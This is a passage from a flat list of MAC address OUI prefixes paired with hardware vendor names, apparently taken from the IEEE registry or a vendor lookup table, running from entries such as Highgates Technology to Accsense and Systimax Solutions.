Inc F8C091 Highgates Technology 6C5CDE SunReports, Inc. 241F2C Calsys, Inc. 284846 GridCentric Inc. 58B9E1 Crystalfontz America, Inc. 646707 Beijing Omnific Technology, Ltd. D4000D Phoenix Broadband Technologies, LLC. E87AF3 S5 Tech S.r.l. 40C7C9 Naviit Inc. A0A763 Polytron Vertrieb GmbH D496DF SUNGJIN C&T CO.,LTD D07DE5 Forward Pay Systems, Inc. 7CEF18 Creative Product Design Pty. Ltd. FCD4F6 Messana Air.Ray Conditioning s.r.l. 0CD696 Amimon Ltd B43741 Consert, Inc. F8FB2F Santur Corporation 2CCD43 Summit Technology Group 6C8D65 Wireless Glue Networks, Inc. CCFCB1 Wireless Technology, Inc. CC5C75 Weightech Com. Imp. Exp. Equip. Pesagem Ltda A098ED Shandong Intelligent Optical Communication Development Co., Ltd. 34C69A Enecsys Ltd 502A8B Telekom Research and Development Sdn Bhd F88DEF Tenebraex EC43E6 AWCER Ltd. F0EC39 Essec 5849BA Chitai Electronic Corp. 181714 DAEWOOIS 80B289 Forworld Electronics Ltd. 14A62C S.M. Dezac S.A. A8F470 Fujian Newland Communication Science Technologies Co.,Ltd. DC1D9F U & B tech 081651 SHENZHEN SEA STAR TECHNOLOGY CO.,LTD DC49C9 CASCO SIGNAL LTD B09134 Taleo A863DF DISPLAIRE CORPORATION 104369 Soundmax Electronic Limited C06C0F Dobbs Stanford 5475D0 Cisco Systems, Inc BC6A16 tdvine C8EF2E Beijing Gefei Tech. Co., Ltd 98DCD9 UNITEC Co., Ltd. 30525A NST Co., LTD 6089B7 KAEL MÜHENDİSLİK ELEKTRONİK TİCARET SANAYİ LİMİTED ŞİRKETİ 2CA780 True Technologies Inc. 545FA9 Teracom Limited ECC882 Cisco Systems, Inc A0B9ED Skytap 502DF4 Phytec Messtechnik GmbH 38E8DF b gmbh medien + datenbanken 10189E Elmo Motion Control 88FD15 LINEEYE CO., LTD 10445A Shaanxi Hitech Electronic Co., LTD 60B3C4 Elber Srl 04C880 Samtec Inc 884B39 Siemens AG, Healthcare Sector 44C233 Guangzhou Comet Technology Development Co.Ltd B482FE ASKEY COMPUTER CORP 307C30 RIM BC4E3C CORE STAFF CO., LTD. 80BAAC TeleAdapt Ltd FC4463 Universal Audio, Inc F06853 Integrated Corporation 10E6AE Source Technologies, LLC A4ADB8 Vitec Group, Camera Dynamics Ltd 90A2DA GHEO SA C41ECE HMI Sources Ltd. BCD5B6 d2d technologies 1C8F8A Phase Motion Control SpA A4B1EE H. ZANDER GmbH & Co. KG 486FD2 StorSimple Inc D4F143 IPROAD.,Inc CC5459 OnTime Networks AS 3CB17F Wattwatchers Pty Ld 00DB45 THAMWAY CO.,LTD. A0231B TeleComp R&D Corp. 94C4E9 PowerLayer Microsystems HongKong Limited 8843E1 Cisco Systems, Inc B4ED19 Pie Digital, Inc. 888717 CANON INC. E0271A TTC Next-generation Home Network System WG 84C727 Gnodal Ltd E4AB46 UAB Selteka D479C3 Cameronet GmbH & Co. KG 945B7E TRILOBIT LTDA. E85B5B LG ELECTRONICS INC 20D906 Iota, Inc. 404022 ZIV 74F726 Neuron Robotics 18FC9F Changhe Electronics Co., Ltd. A438FC Plastic Logic 601D0F Midnite Solar 50A6E3 David Clark Company 549A16 Uzushio Electric Co.,Ltd. 4001C6 3COM EUROPE LTD 608D17 Sentrus Government Systems Division, Inc 80912A Lih Rong electronic Enterprise Co., Ltd. 8038FD LeapFrog Enterprises, Inc. 7072CF EdgeCore Networks 803B9A ghe-ces electronic ag 9CCD82 CHENG UEI PRECISION INDUSTRY CO.,LTD C8AACC Private 003D41 Hatteland Computer AS 087618 ViE Technologies Sdn. Bhd. A4AD00 Ragsdale Technology 2C1984 IDN Telecom, Inc. 3863F6 3NOD MULTIMEDIA(SHENZHEN)CO.,LTD DCE2AC Lumens Digital Optics Inc. 98D88C Nortel Networks C8873B Net Optics B0E97E Advanced Micro Peripherals D44CA7 Informtekhnika & Communication, LLC 202CB7 Kong Yue Electronics & Information Industry (Xinhui) Ltd. 68CC9C Mine Site Technologies 04B466 BSP Co., Ltd. E41F13 IBM Corp 00271B Alec Sicherheitssysteme GmbH 002718 Suzhou NEW SEAUNION Video Technology Co.,Ltd 00270C Cisco Systems, Inc 00270B Adura Technologies 002705 Sectronic 002706 YOISYS 0026F9 S.E.M. srl 0026F3 SMC Networks 688540 IGI Mobile, Inc. 6465C0 Nuvon, Inc F0DE71 Shanghai EDO Technologies Co.,Ltd. 28FBD3 Ragentek Technology Group 7C1EB3 2N TELEKOMUNIKACE a.s. 146E0A Private 1045F8 LNT-Automation GmbH 644F74 LENUS Co., Ltd. 787F62 GiK mbH D4AAFF MICRO WORLD C4FCE4 DishTV NZ Ltd 0CD7C2 Axium Technologies, Inc. 40F52E Leica Microsystems (Schweiz) AG 64BC11 CombiQ AB 4097D1 BK Electronics cc 68AAD2 DATECS LTD., 0026EC Legrand Home Systems, Inc 0026E6 Visionhitech Co., Ltd. 0026E0 ASITEQ 0026DA Universal Media Corporation /Slovakia/ s.r.o. 0026D3 Zeno Information System 0026D4 IRCA SpA 0026CD PurpleComm, Inc. 10880F Daruma Telecomunicações e Informática S.A. 4C4B68 Mobile Device, Inc. 94BA31 Visiontec da Amazônia Ltda. F45FF7 DQ Technology Inc. 60F13D JABLOCOM s.r.o. 0CEF7C AnaCom Inc E08FEC REPOTEC CO., LTD. D0D286 Beckman Coulter K.K. 1C0FCF Sypro Optics GmbH 0025AB AIO LCD PC BU / TPV 0025A4 EuroDesign embedded technologies GmbH 00259D Private 002598 Zhong Shan City Litai Electronic Industrial Co. Ltd 002591 NEXTEK, Inc. 00258C ESUS ELEKTRONIK SAN. VE DIS. TIC. LTD. STI. 002587 Vitality, Inc. 002581 x-star networks Inc. 002582 Maksat Technologies (P) Ltd 002578 JSC Concern Sozvezdie 00257D PointRed Telecom Private Ltd. 002577 D-BOX Technologies 002571 Zhejiang Tianle Digital Electric Co.,Ltd 00256A inIT - Institut Industrial IT 002565 Vizimax Inc. 00255E Shanghai Dare Technologies Co.,Ltd. 002558 MPEDIA 002635 Bluetechnix GmbH 00262F HAMAMATSU TOA ELECTRONICS 002623 JRD Communication Inc 002628 companytec automação e controle ltda. 00261C NEOVIA INC. 002615 Teracom Limited 002616 Rosemount Inc. 002610 Apacewave Technologies 002609 Phyllis Co., Ltd. 00268C StarLeaf Ltd. 002686 Quantenna Communcations, Inc. 002680 SIL3 Pty.Ltd 00267F Zenterio AB 00267A wuhan hongxin telecommunication technologies co.,ltd 002679 Euphonic Technologies, Inc. 002673 RICOH COMPANY,LTD. 00266D MobileAccess Networks 0025D6 The Kroger Co. 0025CA LS Research, LLC 0025BE Tektrap Systems Inc. 0025BD Italdata Ingegneria dell'Idea S.p.A. 0025B7 Costarelectronics, inc., 0025B0 Schmartz Inc 002546 Cisco Systems, Inc 002545 Cisco Systems, Inc 002535 Minimax GmbH & Co KG 002532 Digital Recorders 00252B Stirling Energy Systems 0025FD OBR Centrum Techniki Morskiej S.A. 002603 Shenzhen Wistar Technology Co., Ltd 0025F3 Nordwestdeutsche Zählerrevision 0025EC Humanware 0025E2 Everspring Industry Co., Ltd. 0025DD SUNNYTEK INFORMATION CO., LTD. 002667 CARECOM CO.,LTD. 002660 Logiways 002656 Sansonic Electronics USA 002653 DaySequerra Corporation 00264C Shanghai DigiVision Technology Co., Ltd. 002647 WFE TECHNOLOGY CORP. 00263B Onbnetech 0026C1 ARTRAY CO., LTD. 0026B5 ICOMM Tele Ltd 0026AF Duelco A/S 0026A5 MICROROBOT.CO.,LTD 00269F Private 002699 Cisco Systems, Inc 002489 Vodafone Omnitel N.V. 00248E Infoware ZRt. 002476 TAP.tv 00246F Onda Communication spa 00246A Solid Year Co., Ltd. 0023FA RG Nets, Inc. 0023FF Beijing HTTC Technology Ltd. 0023F4 Masternaut 0023EA Cisco Systems, Inc 0023E4 IPnect co. ltd. 0023DE Ansync Inc. 0023D1 TRG 0023CB Shenzhen Full-join Technology Co.,Ltd 0023D2 Inhand Electronics, Inc. 0024B4 ESCATRONIC GmbH 0024AD Adolf Thies Gmbh & Co. KG 00249C Bimeng Comunication System Co. Ltd 002526 Genuine Technologies Co., Ltd. 002525 CTERA Networks Ltd. 002520 SMA Railway Technology GmbH 00251B Philips CareServant 002516 Integrated Design Tools, Inc. 00250F On-Ramp Wireless, Inc. 002503 IBM Corp 00250A Security Expert Co. Ltd 0024DD Centrak, Inc. 0024D8 IlSung Precision 0024CC Fascinations Toys and Gifts, Inc. 0024D1 Thomson Inc. 0024CA Tobii Technology AB 0024C5 Meridian Audio Limited 0024B9 Wuhan Higheasy Electronic Technology Development Co.Ltd 002425 Shenzhenshi chuangzhicheng Technology Co.,Ltd 002419 Private 002412 Benign Technologies Co, Ltd. 00240C DELEC GmbH 002406 Pointmobile 0023F9 Double-Take Software, INC. 002463 Phybridge Inc 002459 ABB Automation products GmbH 00245E Hivision Co.,ltd 002451 Cisco Systems, Inc 00244C Solartron Metrology Ltd 00243F Storwize, Inc. 002440 Halo Monitoring, Inc. 00243B CSSI (S) Pte Ltd 0024FC QuoPin Co., Ltd. 0024F7 Cisco Systems, Inc 0024F0 Seanodes 0024EB ClearPath Networks, Inc. 0024E4 Withings 002435 WIDE CORPORATION 00242F Micron 00241F DCT-Delta GmbH 0023C5 Radiation Safety and Control Services Inc 0023C4 Lux Lumen 0023B8 Sichuan Jiuzhou Electronic Technology Co.,Ltd 0023BF Mainpine, Inc. 0023B2 Intelligent Mechatronic Systems Inc 0023AC Cisco Systems, Inc 0023A0 Hana CNS Co., LTD. 0023A5 SageTV, LLC 0022B6 Superflow Technologies Group 0022A3 California Eastern Laboratories 00229E Social Aid Research Co., Ltd. 002291 Cisco Systems, Inc 002292 Cinetal 002297 XMOS Semiconductor 00228B Kensington Computer Products Group 002284 DESAY A&V SCIENCE AND TECHNOLOGY CO.,LTD 002277 NEC Australia Pty Ltd 00226D Shenzhen GIEC Electronics Co., Ltd. 002263 Koos Technical Services, Inc. 002267 Nortel Networks 002259 Guangzhou New Postcom Equipment Co.,Ltd. 0022E4 APASS TECHNOLOGY CO., LTD. 0022DD Protecta Electronics Ltd 0022D8 Shenzhen GST Security and Safety Technology Limited 0022D1 Albrecht Jung GmbH & Co. KG 0022C3 Zeeport Technology Inc. 0022C7 SEGGER Microcontroller GmbH & Co. KG 0022BD Cisco Systems, Inc 002344 Objective Interface Systems, Inc. 002343 TEM AG 002337 Global Star Solutions ULC 00232B IRD A/S 00231C Fourier Systems Ltd. 00231B Danaher Motion - Kollmorgen 00239F Institut für Prüftechnik 002393 AJINEXTEK 00238F NIDEC COPAL CORPORATION 002385 ANTIPODE 00237E ELSTER GMBH 002379 Union Business Machines Co. Ltd. 002253 Entorian Technologies 002250 Point Six Wireless, LLC 002249 HOME MULTIENERGY SL 00224A RAYLASE AG 002240 Universal Telecom S/A 00222D SMC Networks Inc. 00222E maintech GmbH 002364 Power Instruments Pte Ltd 002369 Cisco-Linksys, LLC 002370 Snell 00235D Cisco Systems, Inc 002356 Packet Forensics LLC 002313 Qool Technologies Ltd. 00230D Nortel Networks 002301 Witron Technology Limited 0022F7 Conceptronic 0022EA Rustelcom Inc. 0022F0 3 Greens Aviation Limited 0022E9 ProVision Communications 00211C Cisco Systems, Inc 002117 Tellord 002110 Clearbox Systems 001FFF Respironics, Inc. 001FFE HPN Supply Chain 001FF8 Siemens AG, Sector Industry, Drive Technologies, Motion Control Systems 001FFD Indigo Mobile Technologies Corp. 002221 ITOH DENKI CO,LTD. 00221B Morega Systems 002220 Mitac Technology Corp 002227 uv-electronic GmbH 002214 RINNAI KOREA 00220E Indigo Security Co., Ltd. 002208 Certicom Corp 002201 Aksys Networks Inc 0021F7 HPN Supply Chain 0021A0 Cisco Systems, Inc 00219C Honeywld Technology Corp. 002192 Baoding Galaxy Electronic TechnologyCo.,Ltd 00218C TopControl GMBH 00217F Intraco Technology Pte Ltd 00217A Sejin Electron, Inc. 002179 IOGEAR, Inc. 002173 Ion Torrent Systems, Inc. 001FC3 SmartSynch, Inc 001FC8 Up-Today Industrial Co., Ltd. 001FC1 Hanlong Technology Co.,LTD 001FC2 Jow Tong Technology Co Ltd 001FBC EVGA Corporation 001FB0 TimeIPS, Inc. 001FB5 I/O Interconnect Inc. 001FA9 Atlanta DTH, Inc. 0021F1 Tutus Data AB 0021F2 EASY3CALL Technology Limited 0021EB ESP SYSTEMS, LLC 0021E5 Display Solution AG 0021E4 I-WIN 0021DF Martin Christ GmbH 0021D8 Cisco Systems, Inc 0021CC Flextronics International 001FF1 Paradox Hellas S.A. 001FEC Synapse Électronique 001FE5 In-Circuit GmbH 001FD9 RSD Communications Ltd 001FD4 4IPNET, INC. 001FCF MSI Technology GmbH 00213F A-Team Technology Ltd. 002139 Escherlogic Inc. 002134 Brandywine Communications 00212F Phoebe Micro Inc. 002129 Cisco-Linksys, LLC 00212A Audiovox Corporation 002123 Aerosat Avionics 00216D Soltech Co., Ltd. 00216C ODVA 002167 HWA JIN T&I Corp. 002160 Hidea Solutions Co. Ltd. 002154 D-TACQ Solutions Ltd 00214D Guangzhou Skytone Transmission Technology Com. Ltd. 002148 Kaco Solar Korea 0021C5 3DSP Corp 0021BF Hitachi High-Tech Control Systems Corporation 0021C0 Mobile Appliance, Inc. 0021B9 Universal Devices Inc. 0021B3 Ross Controls 0021B2 Fiberblaze A/S 0021AD Nordic ID Oy 0021A6 Videotec Spa 001F11 OPENMOKO, INC. 001F0B Federal State Unitary Enterprise Industrial UnionElectropribor 001EFF Mueller-Elektronik GmbH & Co. KG 001F06 Integrated Dispatch Solutions 001F05 iTAS Technology Corp. 001EF3 From2 001EF8 Emfinity Inc. 001F7A WiWide Inc. 001F70 Botik Technologies LTD 001F75 GiBahn Media 001F64 Beijing Autelan Technology Inc. 001F5E Dyna Technology Co.,Ltd. 001F58 EMH Energiemesstechnik GmbH 001F4C Roseman Engineering Ltd 001F51 HD Communications Corp 001F4B Lineage Power 001F9F Thomson Telecom Belgium 001F93 Xiotech Corporation 001F98 DAIICHI-DENTSU LTD. 001F8C CCS Inc. 001F8A Ellion Digital Inc. 001F83 Teleplan Technology Services Sdn Bhd 001E30 Shireen Inc 001E2B Radio Systems Design, Inc. 001E24 Zhejiang Bell Technology Co.,ltd 001E18 Radio Activity srl 001E1D East Coast Datacom, Inc. 001E1E Honeywell Life Safety 001E13 Cisco Systems, Inc 001E0E MAXI VIEW HOLDINGS LIMITED 001E60 Digital Lighting Systems, Inc 001E59 Silicon Turnkey Express, LLC 001E54 TOYO ELECTRIC Corporation 001E4D Welkin Sciences, LLC 001E48 Wi-Links 001E43 AISIN AW CO.,LTD. 001E3E KMW Inc. 001EC3 Kozio, Inc. 001EBC WINTECH AUTOMATION CO.,LTD. 001EB7 TBTech, Co., Ltd. 001EB0 ImesD Electronica S.L. 001EA5 ROBOTOUS, Inc. 001EAB TeleWell Oy 001E9E ddm hopt + schuler Gmbh + Co. KG 001E99 Vantanol Industrial Corporation 001F36 Bellwin Information Co. Ltd., 001F35 AIR802 LLC 001F30 Travelping 001F23 Interacoustics 001F24 DIGITVIEW TECHNOLOGY CO., LTD. 001F1D Atlas Material Testing Technology LLC 001E92 JEULIN S.A. 001E89 CRFS Limited 001E84 Pika Technologies Inc. 001E83 LAN/MAN Standards Association (LMSC) 001E6C Opaque Systems 001EE6 Shenzhen Advanced Video Info-Tech Co., Ltd. 001EE0 Urmet Domus SpA 001EDB Giken Trastem Co., Ltd. 001ED6 Alentec & Orion AB 001ECF PHILIPS ELECTRONICS UK LTD 001C96 Linkwise Technology Pte Ltd 001C91 Gefen Inc. 001C8A Cirrascale Corporation 001C84 STL Solution Co.,Ltd. 001C80 New Business Division/Rhea-Information CO., LTD. 001C76 The Wandsworth Group Ltd 001C6F Emfit Ltd 001C71 Emergent Electronics 001C70 NOVACOMM LTDA 001C6A Weiss Engineering Ltd. 001D59 Mitra Energy & Infrastructure 001D52 Defzone B.V. 001D4C Alcatel-Lucent 001D48 Sensor-Technik Wiedemann GmbH 001D41 Hardy Instruments 001D3C Muscle Corporation 001D30 YX Wireless S.A. 001D35 Viconics Electronics Inc. 001D2F QuantumVision Corporation 001CD3 ZP Engineering SEL 001CCE By Techdesign 001CC7 Rembrandt Technologies, LLC d/b/a REMSTREAM 001CC2 Part II Research, Inc. 001CBB MusicianLink 001CB1 Cisco Systems, Inc 001CB7 USC DigiArk Corporation 001CA3 Terra 001CA5 Zygo Corporation 001CAA Bellon Pty Ltd 001C9D Liecthi AG 001DCA PAV Electronics Limited 001DC4 AIOI Systems Co., Ltd. 001DC3 RIKOR TV, Ltd 001DB1 Crescendo Networks 001DB2 HOKKAIDO ELECTRIC ENGINEERING CO.,LTD. 001DB7 Tendril Networks, Inc. 001DAD Sinotech Engineering Consultants, Inc.Geotechnical Enginee 001DA8 Takahata Electronics Co.,Ltd 001DA7 Seamless Internet 001DA1 Cisco Systems, Inc 001D9A GODEX INTERNATIONAL CO., LTD 001D95 Flash, Inc. 001D8E Alereon, Inc. 001D87 VigTech Labs Sdn Bhd 001D88 Clearwire 001D7E Cisco-Linksys, LLC 001D7D GIGA-BYTE TECHNOLOGY CO.,LTD. 001D6C ClariPhy Communications, Inc. 001D71 Cisco Systems, Inc 001D78 Invengo Information Technology Co.,Ltd 001D65 Microwave Radio Communications 001D5E COMING MEDIA CORP. 001D29 Doro AB 001D22 Foss Analytical A/S 001D1D Inter-M Corporation 001D16 SFR 001D10 LightHaus Logic, Inc. 001D0A Davis Instruments, Inc. 001D03 Design Solutions Inc. 001CFE Quartics Inc 001CF7 AudioScience 001CE6 INNES 001CE1 INDRA SISTEMAS, S.A. 001CDA Exegin Technologies Limited 001E07 Winy Technology Co., Ltd. 001E02 Sougou Keikaku Kougyou Co.,Ltd. 001E01 Renesas Technology Sales Co., Ltd. 001DFB NETCLEUS Systems Corporation 001DEF TRIMM, INC. 001DE8 Nikko Denki Tsushin Corporation(NDTC) 001DE3 Intuicom 001DDD DAT H.K. LIMITED 001AF8 Copley Controls Corporation 001AF3 Samyoung Electronics 001AEE Shenztech Ltd 001AE2 Cisco Systems, Inc 001AE7 Aztek Networks, Inc. 001AD4 iPOX Technology Co., Ltd. 001AD6 JIAGNSU AETNA ELECTRIC CO.,LTD 001B97 Violin Technologies 001B9C SATEL sp. z o.o. 001B90 Cisco Systems, Inc 001B86 Bosch Access Systems GmbH 001B8B NEC Platforms, Ltd. 001B7F TMN Technologies Telecomunicacoes Ltda 001B81 DATAQ Instruments, Inc. 001B80 LORD Corporation 001B73 DTL Broadcast Ltd 001B6E Anue Systems, Inc. 001B67 Cisco Systems Inc 001B60 NAVIGON AG 001B54 Cisco Systems, Inc 001B48 Shenzhen Lantech Electronics Co., Ltd. 001B4D Areca Technology Corporation 001B41 General Infinity Co.,Ltd. 001B3C Software Technologies Group,Inc. 001B35 ChongQing JINOU Science & Technology Development CO.,Ltd 001B2E Sinkyo Electron Inc 001B30 Solitech Inc. 001BC7 StarVedia Technology Inc. 001BC6 Strato Rechenzentrum AG 001BBB RFTech Co.,Ltd 001BB6 Bird Electronic Corp. 001BAA XenICs nv 001BA3 Flexit Group GmbH 001C63 TRUEN 001C57 Cisco Systems, Inc 001C5E ASTON France 001C46 QTUM 001C3A Element Labs, Inc. 001C41 scemtec Transponder Technology GmbH 001C34 HUEY CHIAO INTERNATIONAL CO., LTD. 001C33 Sutron 001BF7 Lund IP Products AB 001BF9 Intellitect Water Ltd 001BF8 Digitrax Inc. 001BF2 KWORLD COMPUTER CO., LTD 001BEB DMP Electronics INC. 001BE6 VR AG 001BDF Iskra Sistemi d.d. 001BCC KINGTEK CCTV ALLIANCE CO., LTD. 001AC8 ISL (Instrumentation Scientifique de Laboratoire) 001ACF C.T. ELETTRONICA 001AC3 Scientific-Atlanta, Inc 001AB9 PMC 001ABE COMPUTER HI-TECH INC. 001AAB eWings s.r.l. 001AB2 Cyber Solutions Inc. 001AB7 Ethos Networks LTD. 001C2E HPN Supply Chain 001C27 Sunell Electronics Co. 001C22 Aeris Elettronica s.r.l. 001C1D CHENZHOU GOSPELL DIGITAL TECHNOLOGY CO.,LTD 001C18 Sicert S.r.L. 001C0A Shenzhen AEE Technology Co.,Ltd. 001C05 Nonin Medical Inc. 001BFE Zavio Inc. 001B29 Avantis.Co.,Ltd 001B23 SimpleComTools 001B1E HART Communication Foundation 001B12 Apprion 001B0B Phidgets Inc. 001B10 ShenZhen Kang Hui Technology Co.,ltd 001B04 Affinity International S.p.a 001AFF Wizyoung Tech. 001AFD EVOLIS 00191C Sensicast Systems 00191E Beyondwiz Co., Ltd. 001923 Phonex Korea Co., LTD. 00192A Antiope Associates 001910 Knick Elektronische Messgeraete GmbH & Co. KG 001917 Posiflex Inc. 001909 DEVI - Danfoss A/S 00190B Southern Vision Systems, Inc. 001904 WB Electronics Sp. z o.o. 0018FF PowerQuattro Co. 0018FA Yushin Precision Equipment Co.,Ltd. 001955 Cisco Systems, Inc 00194E Ultra Electronics - TCS (Tactical Communication Systems) 001950 Harman Multimedia 001949 TENTELCOMTECH CO., LTD. 001942 ON SOFTWARE INTERNATIONAL LIMITED 00193D GMC Guardian Mobility Corp. 001936 STERLITE OPTICAL TECHNOLOGIES LIMITED 00193B Wilibox Deliberant Group LLC 00192F Cisco Systems, Inc 001A20 CMOTECH Co. Ltd. 001A22 eQ-3 Entwicklung GmbH 001A14 Xin Hua Control Engineering Co.,Ltd. 001A0D HandHeld entertainment, Inc. 001A0F Sistemas Avanzados de Control, S.A. 001A08 Simoco Ltd. 001A01 Smiths Medical 0019FC PT. Ufoakses Sukses Luarbiasa 0019EF SHENZHEN LINNKING ELECTRONICS CO.,LTD 0019F1 Star Communication Network Technology Co.,Ltd 0019F6 Acconet (PTE) Ltd 001A76 SDT information Technology Co.,LTD. 001A6F MI.TEL s.r.l. 001A6A Tranzas, Inc. 001A63 Elster Solutions, LLC, 001A5E Thincom Technology Co.,Ltd 001A57 Matrix Design Group, LLC 001A5C Euchner GmbH+Co. KG 001A50 PheeNet Technology Corp. 001A9D Skipper Wireless, Inc. 001AA2 Cisco Systems, Inc 001A91 FusionDynamic Ltd. 001A96 ECLER S.A. 001A90 Trópico Sistemas e Telecomunicações da Amazônia LTDA. 001A8C Sophos Ltd 001A85 NV Michel Van de Wiele 001A87 Canhold International Limited 001A86 AdvancedIO Systems Inc 0019B5 Famar Fueguina S.A. 0019BA Paradox Security Systems Ltd 0019A2 ORDYN TECHNOLOGIES 0019AE Hopling Technologies b.v. 0019A7 ITU-T 001996 TurboChef Technologies Inc. 00199B Diversified Technical Systems, Inc. 001991 avinfo 00198A Northrop Grumman Systems Corp. 00198C iXSea 001985 IT Watchdogs, Inc 00196B Danpex Corporation 001966 Asiarock Technology Limited 00195C Innotech Corporation 001961 BlaupunktEmbedded Systems GmbH 0019DE MOBITEK 0019EA TeraMage Technologies Co., Ltd. 0019D0 Cathexis 0019D7 FORTUNETEK CO., LTD 0019B3 Stanford Research Systems 001A44 JWTrading Co., Ltd 001A49 Micro Vision Co.,LTD 001A3D Ajin Vision Co.,Ltd 001A31 SCAN COIN Industries AB 001A38 Sanmina-SCI 001A2C SATEC Co.,LTD 001A27 Ubistar 0017AE GAI-Tronics 0017A2 Camrivox Ltd. 0017A7 Mobile Computing Promotion Consortium 00179D Kelman Limited 001791 LinTech GmbH 001796 Rittmeyer AG 001798 Azonic Technology Co., LTD 00178A DARTS TECHNOLOGIES CORP. 00177E Meshcom Technologies Inc. 001785 Sparr Electronics Ltd 001809 CRESYN 00180E Avega Systems 001810 IPTrade S.A. 0017F6 Pyramid Meriden Inc. 0017FB FA 0017FD Amulet Hotkey 0017EF IBM Corp 0017D7 ION Geophysical Corporation Inc. 0017DC DAEMYUNG ZERO1 0017DE Advantage Six Ltd 0018C3 CS Corporation 0018CA Viprinet GmbH 0018BE ANSA Corporation 0018B2 ADEUNIS RF 0018B7 D3 LED, LLC 0018AB BEIJING LHWT MICROELECTRONICS INC. 0018A6 Persistent Systems, LLC 001895 Hansun Technologies Inc. 00189A HANA Micron Inc. 0018E7 Cameo Communications, INC. 0018EE Videology Imaging Solutions, Inc. 0018E2 Topdata Sistemas de Automacao Ltda 0018DB EPL Technology Ltd 0018E0 ANAVEO 0018CF Baldor Electric Company 0018D4 Unified Display Interface SIG 00184A Catcher, Inc. 00184C Bogen Communications 001845 Pulsar-Telecom LLC. 00183E Digilent, Inc 001828 e2v technologies (UK) ltd. 00182D Artec Design 001821 SINDORICOH 001815 GZ Technologies, Inc. 00181C Exterity Limited 001772 ASTRO Strobel Kommunikationssysteme GmbH 001777 Obsidian Research Corporation 00176E DUCATI SISTEMI 001762 Solar Technology, Inc. 001769 Cymphonix Corp 00175D Dongseo system. 00175B ACS Solutions Switzerland Ltd. 001756 Vinci Labs Oy 00174F iCatch Inc. 0017CD CEC Wireless R&D Ltd. 0017D2 THINLINX PTY LTD 0017C6 Cross Match Technologies Inc 0017BA SEDO CO., LTD. 0017BF Coherent Research Limited 0017C1 CM Precision Technology LTD. 0017B3 Aftek Infosys Limited 00186A Global Link Digital Technology Co,.LTD 00186F Setha Industria Eletronica LTDA 001876 WowWee Ltd. 001869 KINGJIM 001864 Eaton Corporation 00185D TAIGUEN TECHNOLOGY (SHEN-ZHEN) CO., LTD. 001851 SWsoft 001858 TagMaster AB 00189F Lenntek Corporation 00188E Ekahau, Inc. 001887 Metasystem SpA 001889 WinNet Solutions Limited 00187B 4NSYS Co. Ltd. 001661 Novatium Solutions (P) Ltd 001663 KBT Mobile 001668 Eishin Electronics 001662 Liyuh Technology Ltd. 001655 FUHO TECHNOLOGY Co., LTD 0015E4 Zimmer Elektromedizin 0015DA IRITEL A.D. 0015DF Clivet S.p.A. 0015D3 Pantech&Curitel Communications, Inc. 0015C7 Cisco Systems, Inc 0015C0 DIGITAL TELEMEDIA CO.,LTD. 0015BA iba AG 00174A SOCOMEC 001743 Deck Srl 00173D Neology 00173E LeucotronEquipamentos Ltda. 001738 International Business Machines 00172C TAEJIN INFOTECH 001720 Image Sensing Systems, Inc. 001725 Liquid Computing 001701 KDE, Inc. 001703 MOSDAN Internation Co.,Ltd 0016FC TOHKEN CO.,LTD. 0016F0 Dell 0016F5 Dalian Golden Hualu Digital Technology Co.,Ltd 0016E9 Tiba Medical Inc 0016E4 VANGUARD SECURITY ENGINEERING CORP. 0016DD Gigabeam Corporation 0016E2 American Fibertek, Inc. 0016D8 Senea AB 00169C Cisco Systems, Inc 00169E TV One Ltd 0016A3 Ingeteam Transmission&Distribution, S.A. 001690 J-TEK INCORPORATION 001697 NEC Corporation 001689 Pilkor Electronics Co., Ltd 00168B Paralan Corporation 001684 Donjin Co.,Ltd. 00167D Sky-Line Information Co., Ltd. 001678 SHENZHEN BAOAN GAOKE ELECTRONICS CO., LTD 001649 SetOne GmbH 00163F CReTE SYSTEMS Inc. 001638 TECOM Co., Ltd. 001633 Oxford Diagnostics Ltd. 00162C Xanboo 001627 embedded-logic DESIGN AND MORE GmbH 001619 Lancelan Technologies S.L. 001614 Picosecond Pulse Labs 001719 Audiocodes USA, Inc 00171E Theo Benning GmbH & Co. KG 001712 ISCO International 00170D Dust Networks Inc. 00160F BADGER METER INC 00160A SWEEX Europe BV 001603 COOLKSKY Co., LTD 0015F7 Wintecronics Ltd. 0015F0 EGO BV 0015EA Tellumat (Pty) Ltd 0016C5 Shenzhen Xing Feng Industry Co.,Ltd 0016C7 Cisco Systems, Inc 0016CC Xcute Mobile Corp. 0016C0 Semtech Corporation 0016B4 Private 0016A8 CWT CO., LTD. 0016AD BT-Links Company Limited 001553 Cytyc Corporation 001555 DFM GmbH 00154E IEC 001547 AiZen Solutions Inc. 001542 MICROHARD S.R.L. 00153B EMH metering GmbH & Co. KG 001534 A Beltrónica-Companhia de Comunicações, Lda 001440 ATOMIC Corporation 001434 Keri Systems, Inc 00142D Toradex AG 001426 NL Technology 001421 Total Wireless Technologies Pte. Ltd. 00141C Cisco Systems, Inc 001583 IVT corporation 00157E Weidmüller Interface GmbH & Co. KG 001579 Lunatone Industrielle Elektronik GmbH 001574 Horizon Semiconductors Ltd. 001566 A-First Technology Co., Ltd. 001561 JJPlus Corporation 00155A DAINIPPON PHARMACEUTICAL CO., LTD. 001554 Atalum Wireless S.A. 001528 Beacon Medical Products LLC d.b.a. BeaconMedaes 001521 Horoquartz 001523 Meteor Communications Corporation 001522 Dea Security 00151C LENECO 001512 Zurich University of Applied Sciences 00150B SAGE INFOTECH LTD. 001506 Neo Photonics 0014FF Precise Automation, Inc. 0014F8 Scientific Atlanta 0014F3 ViXS Systems Inc 0014E7 Stolinx,. Inc 0014EC Acro Telecom 0014E2 datacom systems inc. 0014D6 Jeongmin Electronics Co.,Ltd. 0014DB Elma Trenew Electronic GmbH 0014DD Covergence Inc. 0014DC Communication System Design & Manufacturing (CSDM) 0014CF INVISIO Communications 0014CA Key Radio Systems Limited 0014BC SYNECTIC TELECOM EXPORTS PVT. LTD. 0014B7 AR Infotek Inc. 0014AD Gassner Wiege- und Meßtechnik GmbH 0014B2 mCubelogics Corporation 0014A6 Teranetics, Inc. 00149F System and Chips, Inc. 0014A1 Synchronous Communication Corp 001470 Prokom Software SA 001469 Cisco Systems, Inc 001462 Digiwell Technology, inc 00145D WJ Communications, Inc. 001450 Heim Systems GmbH 001456 Edge Products 00144C General Meters Corp. 001445 Telefon-Gradnja d.o.o. 001447 BOAZ Inc. 001446 SuperVision Solutions LLC 0015B3 Caretech AB 0015A9 KWANG WOO I&C CO.,LTD 00159D Tripp Lite 001591 RLW Inc. 00158A SURECOM Technology Corp. 00158F NTT Advanced Technology Corporation 001590 Hectronic GmbH 0014A0 Accsense, Inc. 001493 Systimax Solutions 